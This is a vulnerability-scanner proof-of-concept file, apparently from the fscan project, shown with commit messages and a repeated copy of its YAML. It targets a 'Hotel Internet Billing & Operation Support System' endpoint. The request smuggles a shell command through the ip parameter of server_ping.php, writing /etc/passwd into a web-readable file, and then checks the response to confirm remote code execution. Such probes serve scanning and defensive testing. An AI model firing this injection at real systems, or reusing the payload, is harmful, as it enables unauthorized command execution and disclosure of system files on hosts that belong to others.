fscan/WebScan/pocs/Hotel-Internet-Manage-RCE.yml

name: Hotel-Internet-Manage-RCE
rules:
  - method: GET
    path: "/manager/radius/server_ping.php?ip=127.0.0.1|cat /etc/passwd >../../Test.txt&id=1"
    expression: |
      response.status == 200 && response.body.bcontains(b"parent.doTestResult")
detail:
  author: test
  Affected Version: "Hotel Internet Billing & Operation Support System"
  links:
    - http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8
poc模块加入指定目录或文件 -pocpath poc路径,端口可以指定文件-portf port.txt,rdp模块加入多线程爆破demo, -br xx指定线程 2022-04-20 17:45:27 +08:00			`name: Hotel-Internet-Manage-RCE`
			`rules:`
			`- method: GET`
			`path: "/manager/radius/server_ping.php?ip=127.0.0.1\|cat /etc/passwd >../../Test.txt&id=1"`
			`expression: \|`
			`response.status == 200 && response.body.bcontains(b"parent.doTestResult")`
			`detail:`
			`author: test`
			`Affected Version: "Hotel Internet Billing & Operation Support System"`
			`links:`
			`- http://118.190.97.19:88/qingy/Web%E5%AE%89%E5%85%A8`
Merge remote-tracking branch 'origin/main' # Conflicts: # Plugins/webtitle.go # WebScan/WebScan.go # WebScan/pocs/Hotel-Internet-Manage-RCE.yml 2022-11-19 17:05:25 +08:00